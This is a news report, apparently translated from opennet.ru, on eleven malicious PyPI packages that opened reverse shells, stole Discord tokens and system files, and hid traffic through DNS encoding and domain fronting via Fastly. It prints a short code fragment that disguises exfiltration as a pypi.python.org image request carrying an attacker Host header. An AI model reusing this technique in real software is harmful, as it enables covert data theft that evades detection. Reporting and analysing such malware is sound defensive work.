Malicious libraries using the PyPI CDN to obscure communication channels have been identified in the PyPI catalog.

The PyPI (Python Package Index) catalog has revealed 11 packages containing malicious code. Before the issues were detected, these packages were downloaded approximately 38,000 times. The identified malicious packages are notable for employing intricate methods to conceal connections to the attackers' servers.

• importantpackage (6305 downloads), important-package (12897) — established a connection to an external server masquerading as a connection to pypi.python.org to provide shell access to the system (reverse shell) and utilized the trevorc2 program for obfuscating the communication channel.
• pptest (10001), ipboards (946) — used DNS as a communication channel to transmit system information (in the first package, host name, working directory, internal and external IP; in the second — username and host name).
• owlmoon (3285), DiscordSafety (557), yiffparty (1859) — detected the Discord service token in the system and sent it to an external host.
• trrfab (287) — transmitted the identifier, host name, and content from /etc/passwd, /etc/hosts, /home to an external host.
• 10Cent10 (490) — established a reverse shell connection to an external host.
• yandex-yt (4183) — displayed a message about system compromise and redirected to a page with additional information about subsequent actions, provided through nda.ya.ru (api.ya.cc).

Particular attention should be paid to the method of contacting external hosts used in the packages importantpackage and important-package, which concealed their activities using the Fastly content delivery network employed in the PyPI catalog. In fact, requests were sent to the pypi.python.org server (including specifying the name python.org in the SNI within the HTTPS request), while the HTTP "Host" header listed the name of a server controlled by the attackers (sec.forward.io.global.prod.fastly.net). The content delivery network redirected such requests to the attackers' server, using the parameters of the TLS connection with pypi.python.org for data transmission.

The infrastructure of PyPI operates with the help of the Fastly content delivery network, which utilizes a transparent Varnish proxy for caching typical requests, as well as handling TLS certificates at the CDN level rather than at end servers, to facilitate the forwarding of HTTPS requests through the proxy. Regardless of the target host, requests are directed to the proxy, which determines the appropriate host based on the HTTP header ‘Host’, domain names of hosts are tied to common IP addresses of CDN load balancers for all Fastly clients.

The attackers’ server is also registered with the Fastly CDN, which offers free plans to anyone and even allows anonymous registration. Notably, a similar scheme is used to send requests to the victim when creating a ‘reverse shell’, but initiated from the criminals' host side. From this side, the interaction with the attackers' server appears as a legitimate session with the PyPI directory, encrypted using TLS certificate PyPI. This technique, known as ‘domain fronting’, was previously actively used to hide the host name while bypassing blocks, utilizing the ability provided by some CDN networks to connect via HTTPS with a fictitious host specified in the SNI and actually transmitting the requested host name in the HTTP header Host within the TLS session.

To mask malicious activity, the TrevorC2 package was additionally used, allowing the interaction with the server to resemble regular web navigation; for instance, malicious requests were sent disguised as image downloads ‘https://pypi.python.org/images/guid=’ with information encoded in the guid parameter. url = ‘https://pypi.python.org’ + ‘/images’ + ‘?’ + ‘guid=’ + b64_payload r = request.Request(url, headers = {‘Host’: ‘psec.forward.io.global.prod.fastly.net’})

In the pptest and ipboards packages, a different approach to masking network activity was employed, based on encoding useful information in DNS server requests. The malware transmits data by executing DNS queries like ‘nu4timjagq4fimbuhe.example.com’, where the information being transmitted to the control server is encoded in the subdomain name using base64 format. The attacker receives the message data by controlling the DNS server for the domain example.com.

Source: opennet.ru